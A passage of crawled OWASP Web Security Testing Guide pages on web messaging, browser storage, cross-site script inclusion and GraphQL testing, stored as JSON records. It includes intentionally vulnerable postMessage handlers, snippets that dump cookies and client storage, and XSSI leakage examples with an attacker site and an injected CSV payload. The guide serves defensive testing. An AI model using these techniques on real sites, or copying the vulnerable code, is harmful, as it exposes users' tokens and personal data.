which may create DOM-based XSS vulnerabilities.\n\n### Static Code Analysis\n\nJavaScript code should be analyzed to determine how web messaging is implemented. In particular, testers should be interested in how the website is restricting messages from untrusted domains, and how the data is handled even for trusted domains.\n\nIn this example, access is needed for every subdomain (www, chat, forums, …) within the owasp.org domain. The code is trying to accept any domain with `.owasp.org`:\n\n```\nwindow.addEventListener(\"message\", callback, true); function callback(e) { if(e.origin.indexOf(\".owasp.org\")!=-1) { /* process message (e.data) */ } } \n```\n\nThe intention is to allow subdomains such as:\n\n- `www.owasp.org`\n- `chat.owasp.org`\n- `forums.owasp.org`\n\nUnfortunately, this introduces vulnerabilities. An attacker can easily bypass the filter since a domain such as `www.owasp.org.attacker.com` will match.\n\nHere is an example of code that lacks an origin check. This is very insecure, as it will accept input from any domain:\n\n```\nwindow.addEventListener(\"message\", callback, true); function callback(e) { /* process message (e.data) */ } \n```\n\nHere is an example with input validation vulnerabilities that may lead to XSS attack:\n\n```\nwindow.addEventListener(\"message\", callback, true); function callback(e) { if(e.origin === \"trusted.domain.com\") { element.innerHTML= e.data; } } \n```\n\nA more secure approach would be to use the property `innerText` instead of `innerHTML`.\n\nFor further OWASP resources regarding web messaging, see [OWASP HTML5 Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5616, "slov": 791, "odkazu": 182, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:43", "sha256": "457816853c493be8c9606d6f946ebfeca1cd7346126aa719bb0ab34242980ca3", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://html.spec.whatwg.org/multipage/web-messaging.html", "https://html.spec.whatwg.org/multipage/", "https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage", "https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/12-Testing_Browser_Storage", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/12-Testing_Browser_Storage", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/12-Testing_Browser_Storage", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "11-Client-side Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing Browser Storage"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Local Storage"}, {"uroven": 4, "text": "List All Key-Value Entries"}, {"uroven": 3, "text": "Session Storage"}, {"uroven": 4, "text": "List All Key-Value Entries"}, {"uroven": 3, "text": "IndexedDB"}, {"uroven": 4, "text": "Print All the Contents of IndexedDB"}, {"uroven": 3, "text": "Web SQL"}, {"uroven": 3, "text": "Cookies"}, {"uroven": 4, "text": "List All Cookies"}, {"uroven": 3, "text": "Global Window Object"}, {"uroven": 4, "text": "List All Entries on the Window Object"}, {"uroven": 3, "text": "Attack Chain"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing Browser Storage\n\n| ID |\n| --- |\n| WSTG-CLNT-12 |\n\n## Summary\n\nBrowsers provide the following client-side storage mechanisms for developers to store and retrieve data:\n\n- Local Storage\n- Session Storage\n- IndexedDB\n- Web SQL (Deprecated)\n- Cookies\n\nThese storage mechanisms can be viewed and edited using the browser’s developer tools, such as [Google Chrome DevTools](https://developers.google.com/web/tools/chrome-devtools/storage/localstorage) or [Firefox’s Storage Inspector](https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector).\n\nNote: While cache is also a form of storage it is covered in a [separate section](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/06-Testing_for_Browser_Cache_Weaknesses) covering its own peculiarities and concerns.\n\n## Test Objectives\n\n- Determine whether the website is storing sensitive data in client-side storage.\n- The code handling of the storage objects should be examined for possibilities of injection attacks, such as utilizing unvalidated input or vulnerable libraries.\n\n## How to Test\n\n### Local Storage\n\n`window.localStorage` is a global property that implements the [Web Storage API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API) and provides **persistent** key-value storage in the browser.\n\nBoth the keys and values can only be strings, so any non-string values must be converted to strings first before storing them, usually done via [JSON.stringify](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify).\n\nEntries to `localStorage` persist even when the browser window closes, with the exception of windows in Private/Incognito mode.\n\nThe maximum storage capacity of `localStorage` varies between browsers.\n\n#### List All Key-Value Entries\n\n```\nfor (let i = 0; i < localStorage.length; i++) { const key = localStorage.key(i); const value = localStorage.getItem(key); console.log(`${key}: ${value}`); } \n```\n\n### Session Storage\n\n`window.sessionStorage` is a global property that implements the [Web Storage API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API) and provides **ephemeral** key-value storage in the browser.\n\nBoth the keys and values can only be strings, so any non-string values must be converted to strings first before storing them, usually done via [JSON.stringify](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify).\n\nEntries to `sessionStorage` are ephemeral because they are cleared when the browser tab/window is closed.\n\nThe maximum storage capacity of `sessionStorage` varies between browsers.\n\n#### List All Key-Value Entries\n\n```\nfor (let i = 0; i < sessionStorage.length; i++) { const key = sessionStorage.key(i); const value = sessionStorage.getItem(key); console.log(`${key}: ${value}`); } \n```\n\n### IndexedDB\n\nIndexedDB is a transactional, object-oriented database intended for structured data. An IndexedDB database can have multiple object stores and each object store can have multiple objects.\n\nIn contrast to Local Storage and Session Storage, IndexedDB can store more than just strings. Any objects supported by the [structured clone algorithm](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm) can be stored in IndexedDB.\n\nAn example of a complex JavaScript object that can be stored in IndexedDB, but not in Local/Session Storage are [CryptoKeys](https://developer.mozilla.org/en-US/docs/Web/API/CryptoKey).\n\nW3C recommendation on [Web Crypto API](https://www.w3.org/TR/WebCryptoAPI/) [recommends](https://www.w3.org/TR/WebCryptoAPI/#concepts-key-storage) that CryptoKeys that need to be persisted in the browser, to be stored in IndexedDB. When testing a web page, look for any CryptoKeys in IndexedDB and check if they are set as `extractable: true` when they should have been set to `extractable: false` (i.e. ensure the underlying private key material is never exposed during cryptographic operations.)\n\n#### Print All the Contents of IndexedDB\n\n```\nconst dumpIndexedDB = dbName => { const DB_VERSION = 1; const req = indexedDB.open(dbName, DB_VERSION); req.onsuccess = function() { const db = req.result; const objectStoreNames = db.objectStoreNames || []; console.log(`[*] Database: ${dbName}`); Array.from(objectStoreNames).forEach(storeName => { const txn = db.transaction(storeName, 'readonly'); const objectStore = txn.objectStore(storeName); console.log(`\\t[+] ObjectStore: ${storeName}`); // Print all entries in objectStore with name `storeName` objectStore.getAll().onsuccess = event => { const items = event.target.result || []; items.forEach(item => console.log(`\\t\\t[-] `, item)); }; }); }; }; indexedDB.databases().then(dbs => dbs.forEach(db => dumpIndexedDB(db.name))); \n```\n\n### Web SQL\n\nWeb SQL is deprecated since November 18, 2010 and it’s recommended that web developers do not use it.\n\n### Cookies\n\nCookies are a key-value storage mechanism that is primarily used for session management but web developers can still use it to store arbitrary string data.\n\nCookies are covered extensively in the [testing for Cookies attributes](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/02-Testing_for_Cookies_Attributes) scenario.\n\n#### List All Cookies\n\n```\nconsole.log(window.document.cookie); \n```\n\n### Global Window Object\n\nSometimes web developers initialize and maintain global state that is available only during the runtime life of the page by assigning custom attributes to the global `window` object. For example:\n\n```\nwindow.MY_STATE = { counter: 0, flag: false, }; \n```\n\nAny data attached on the `window` object will be lost when the page is refreshed or closed.\n\n#### List All Entries on the Window Object\n\n```\n(() => { // create an iframe and append to body to load a clean window object const iframe = document.createElement('iframe'); iframe.style.display = 'none'; document.body.appendChild(iframe); // get the current list of properties on window const currentWindow = Object.getOwnPropertyNames(window); // filter the list against the properties that exist in the clean window const results = currentWindow.filter( prop => !iframe.contentWindow.hasOwnProperty(prop) ); // remove iframe document.body.removeChild(iframe); // log key-value entries that are different results.forEach(key => console.log(`${key}: ${window[key]}`)); })(); \n```\n\n*(Modified version of this [snippet](https://stackoverflow.com/a/17246535/3099132))*\n\n### Attack Chain\n\nFollowing the identification any of the above attack vectors, an attack chain can be formed with different types of client-side attacks, such as [DOM based XSS](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting) attacks.\n\n## Remediation\n\nApplications should be storing sensitive data on the server-side, and not on the client-side, in a secured manner following best practices.\n\n## References\n\n- [Local Storage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage)\n- [Session Storage](https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage)\n- [IndexedDB](https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API)\n- [Web Crypto API: Key Storage](https://www.w3.org/TR/WebCryptoAPI/#concepts-key-storage)\n- [Web SQL](https://www.w3.org/TR/webdatabase/)\n- [Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)\n\nFor more OWASP resources on the HTML5 Web Storage API, see the [Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html#html5-web-storage-api).\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7649, "slov": 899, "odkazu": 193, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:44", "sha256": "a6bba15ec269ed42d12dde5da3bc47cfbfac64bb151ea42546d96f0af2759476", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://developers.google.com/web/tools/chrome-devtools/storage/localstorage", "https://developer.mozilla.org/en-US/docs/Tools/Storage_Inspector", "https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API", "https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify", "https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm", "https://developer.mozilla.org/en-US/docs/Web/API/CryptoKey", "https://www.w3.org/TR/WebCryptoAPI/", "https://stackoverflow.com/a/17246535/3099132", "https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage", "https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage", "https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API", "https://www.w3.org/TR/webdatabase/", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies", "https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/13-Testing_for_Cross_Site_Script_Inclusion", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/13-Testing_for_Cross_Site_Script_Inclusion", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/13-Testing_for_Cross_Site_Script_Inclusion", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "11-Client-side Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing for Cross Site Script Inclusion"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Collect Data Using Authenticated and Unauthenticated User Sessions"}, {"uroven": 3, "text": "Determine Whether the Sensitive Data Can Be Leaked Using JavaScript"}, {"uroven": 3, "text": "1. Sensitive Data Leakage via Global Variables"}, {"uroven": 3, "text": "2. Sensitive Data Leakage via Global Function Parameters"}, {"uroven": 3, "text": "3. Sensitive Data Leakage via CSV with Quotations Theft"}, {"uroven": 3, "text": "4. Sensitive Data Leakage via JavaScript Runtime Errors"}, {"uroven": 3, "text": "5. Sensitive Data Leakage via Prototype Chaining Using this"}], "markdown": "# WSTG - v4.2\n\n# Testing for Cross Site Script Inclusion\n\n| ID |\n| --- |\n| WSTG-CLNT-13 |\n\n## Summary\n\nCross Site Script Inclusion (XSSI) vulnerability allows sensitive data leakage across-origin or cross-domain boundaries. Sensitive data could include authentication-related data (login states, cookies, auth tokens, session IDs, etc.) or user’s personal or sensitive personal data (email addresses, phone numbers, credit card details, social security numbers, etc.). XSSI is a client-side attack similar to Cross Site Request Forgery (CSRF) but has a different purpose. Where CSRF uses the authenticated user context to execute certain state-changing actions inside a victim’s page (e.g. transfer money to the attacker’s account, modify privileges, reset password, etc.), XSSI instead uses JavaScript on the client-side to leak sensitive data from authenticated sessions.\n\nBy default, websites are only allowed to access data if they are from the same origin. This is a key application security principle and governed by the same-origin policy (defined by [RFC 6454](https://tools.ietf.org/html/rfc6454)). An origin is defined as the combination of URI scheme (HTTP or HTTPS), host name, and port number. However, this policy is not applicable for HTML `
\n```\n\nIn this example, a victim is authenticated with `victim.com`. An attacker lures the victim to `attackingwebsite.com` via social engineering, phishing emails, etc. The victim’s browser then fetches `api.js`, resulting in the sensitive data being leaked via the global JavaScript variable and displayed using `innerHTML`.\n\n### 2. Sensitive Data Leakage via Global Function Parameters\n\nThis example is similar to the previous one, except in this case `attackingwebsite.com` uses a global JavaScript function to extract the sensitive data by overwriting the victim’s global JavaScript function.\n\nHere are the contents of `https://victim.com/internal/api.js`:\n\n```\n(function() { var secret = \"supersecretAPIkey\"; window.globalFunction(secret); })(); \n```\n\nThe attack site, `attackingwebsite.com`, has an `index.html` with the following code:\n\n```\n Leaking data via global function parameters
\n```\n\nThere are other XSSI vulnerabilities that can result in sensitive data leakage either via JavaScript prototype chains or global function calls. For more on these attacks, see [The Unexpected Dangers of Dynamic JavaScript](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf).\n\n### 3. Sensitive Data Leakage via CSV with Quotations Theft\n\nTo leak data the attacker/tester has to be able to inject JavaScript code into the CSV data. The following example code is an excerpt from Takeshi Terada’s [Identifier based XSSI attacks](https://www.mbsd.jp/Whitepaper/xssi.pdf) whitepaper.\n\n```\nHTTP/1.1 200 OK\nContent-Type: text/csv\nContent-Disposition: attachment; filename=\"a.csv\"\nContent-Length: xxxx\n\n1,\"___\",\"aaa@a.example\",\"03-0000-0001\"\n2,\"foo\",\"bbb@b.example\",\"03-0000-0002\"\n...\n98,\"bar\",\"yyy@example.net\",\"03-0000-0088\"\n99,\"___\",\"zzz@example.com\",\"03-0000-0099\"\n```\n\nIn this example, using the `___` columns as injection points and inserting JavaScript strings in their place has the following result.\n\n```\n1,\"\\\"\",$$$=function(){/*\",\"aaa@a.example\",\"03-0000-0001\"\n2,\"foo\",\"bbb@b.example\",\"03-0000-0002\"\n...\n98,\"bar\",\"yyy@example.net\",\"03-0000-0088\"\n99,\"*/}//\",\"zzz@example.com\",\"03-0000-0099\"\n```\n\n[Jeremiah Grossman wrote about a similar vulnerability in Gmail](https://blog.jeremiahgrossman.com/2006/01/advanced-web-attack-techniques-using.html) in 2006 that allowed the extraction of user contacts in JSON. In this case, the data was received from Gmail and parsed by the browser JavaScript engine using an unreferenced Array constructor to leak the data. An attacker could access this Array with the sensitive data by defining and overwriting the internal Array constructor like this:\n\n```\n Leaking gmail contacts via JSON \n```\n\n### 4. Sensitive Data Leakage via JavaScript Runtime Errors\n\nBrowsers normally present standardized [JavaScript error messages](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors). However, in the case of IE9/10, runtime error messages provided additional details that could be used to leak data. For example, a website `victim.com` serves the following content at the URI `http://victim.com/service/csvendpoint` for authenticated users:\n\n```\nHTTP/1.1 200 OK\nContent-Type: text/csv\nContent-Disposition: attachment; filename=\"a.csv\"\nContent-Length: 13\n\n1,abc,def,ghi\n```\n\nThis vulnerability could be exploited with the following:\n\n```\n \n```\n\nWhen the browser tries to render the CSV content as JavaScript, it fails and leaks the sensitive data:\n\n*Figure 4.11.13-1: JavaScript runtime error message*\n\n### 5. Sensitive Data Leakage via Prototype Chaining Using `this`\n\nIn JavaScript, the `this` keyword is dynamically scoped. This means if a function is called upon an object, `this` will point to this object even though the called function might not belong to the object itself. This behavior can be used to leak data. In the following example from [Sebastian Leike’s demonstration page](http://sebastian-lekies.de/leak/), the sensitive data is stored in an Array. An attacker can override `Array.prototype.forEach` with an attacker-controlled function. If some code calls the `forEach` function on an array instance that contains sensitive values, the attacker-controlled function will be invoked with `this` pointing to the object that contains the sensitive data.\n\nHere is an excerpt of a JavaScript file containing sensitive data, `javascript.js`:\n\n```\n... (function() { var secret = [\"578a8c7c0d8f34f5\", \"345a8b7c9d8e34f5\"]; secret.forEach(function(element) { // do something here }); })(); ... \n```\n\nThe sensitive data can be leaked with the following JavaScript code:\n\n```\n...\n
\n...\n```\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 10128, "slov": 1357, "odkazu": 186, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:45", "sha256": "e3190799a4c8bd68fa7f9cebd6a7f00f1e4a70269ea8015c857c2f7c2318c1f7", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://tools.ietf.org/html/rfc6454", "https://www.mbsd.jp/Whitepaper/xssi.pdf", "https://en.wikipedia.org/wiki/JSONP", "https://github.com/luh2/DetectDynamicJS", "https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf", "https://blog.jeremiahgrossman.com/2006/01/advanced-web-attack-techniques-using.html", "https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors", "http://sebastian-lekies.de/leak/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/README", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "11-Client-side Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "4.11 Client-Side Testing"}], "markdown": "# WSTG - v4.2\n\n# 4.11 Client-Side Testing\n\n4.11.1 [Testing for DOM-Based Cross Site Scripting](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting)\n\n4.11.2 [Testing for JavaScript Execution](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/02-Testing_for_JavaScript_Execution)\n\n4.11.3 [Testing for HTML Injection](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/03-Testing_for_HTML_Injection)\n\n4.11.4 [Testing for Client-side URL Redirect](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/04-Testing_for_Client-side_URL_Redirect)\n\n4.11.5 [Testing for CSS Injection](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/05-Testing_for_CSS_Injection)\n\n4.11.6 [Testing for Client-side Resource Manipulation](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/06-Testing_for_Client-side_Resource_Manipulation)\n\n4.11.7 [Testing Cross Origin Resource Sharing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/07-Testing_Cross_Origin_Resource_Sharing)\n\n4.11.8 [Testing for Cross Site Flashing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/08-Testing_for_Cross_Site_Flashing)\n\n4.11.9 [Testing for Clickjacking](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking)\n\n4.11.10 [Testing WebSockets](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets)\n\n4.11.11 [Testing Web Messaging](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/11-Testing_Web_Messaging)\n\n4.11.12 [Testing Browser Storage](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/12-Testing_Browser_Storage)\n\n4.11.13 [Testing for Cross Site Script Inclusion](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/13-Testing_for_Cross_Site_Script_Inclusion)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2450, "slov": 199, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:32", "sha256": "8d849723fe27dc9d369cb968bc2d3966e734ad07cbd89c1ddb8226ce04d10e74", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/12-API_Testing/", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/12-API_Testing/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/12-API_Testing/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "12-API Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "4.12 API Testing"}], "markdown": "# WSTG - v4.2\n\n# 4.12 API Testing\n\n4.12.1 [Testing GraphQL](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/12-API_Testing/01-Testing_GraphQL)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 258, "slov": 18, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 14:34:10", "sha256": "6a085128d3c6847e2cf9bd905131358f9c9287c080db99666c47edb1beb8e5e6", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/12-API_Testing/01-Testing_GraphQL", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/12-API_Testing/01-Testing_GraphQL", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/12-API_Testing/01-Testing_GraphQL", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "12-API Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Testing GraphQL"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Introspection Queries"}, {"uroven": 4, "text": "Using Native GraphQL Introspection"}, {"uroven": 4, "text": "Using GraphiQL"}, {"uroven": 4, "text": "Using GraphQL Playground"}, {"uroven": 4, "text": "Introspection Conclusion"}, {"uroven": 3, "text": "Authorization"}, {"uroven": 3, "text": "Injection"}, {"uroven": 4, "text": "SQL Injection"}, {"uroven": 4, "text": "Cross-Site Scripting (XSS)"}, {"uroven": 3, "text": "Denial of Service (DoS) Queries"}, {"uroven": 3, "text": "Batching Attacks"}, {"uroven": 3, "text": "Detailed Error Message"}, {"uroven": 3, "text": "Exposure of Underlying API"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Testing GraphQL\n\n| ID |\n| --- |\n| WSTG-APIT-01 |\n\n## Summary\n\nGraphQL has become very popular in modern APIs. It provides simplicity and nested objects, which facilitate faster development. While every technology has advantages, it can also expose the application to new attack surfaces. The purpose of this scenario is to provide some common misconfigurations and attack vectors on applications that utilize GraphQL. Some vectors are unique to GraphQL (e.g. Introspection Query) and some are generic to APIs (e.g. SQL injection).\n\nExamples in this section will be based on a vulnerable GraphQL application [poc-graphql](https://github.com/righettod/poc-graphql), which is run in a docker container that maps `localhost:8080/GraphQL` as the vulnerable GraphQL node.\n\n## Test Objectives\n\n- Assess that a secure and production-ready configuration is deployed.\n- Validate all input fields against generic attacks.\n- Ensure that proper access controls are applied.\n\n## How to Test\n\nTesting GraphQL 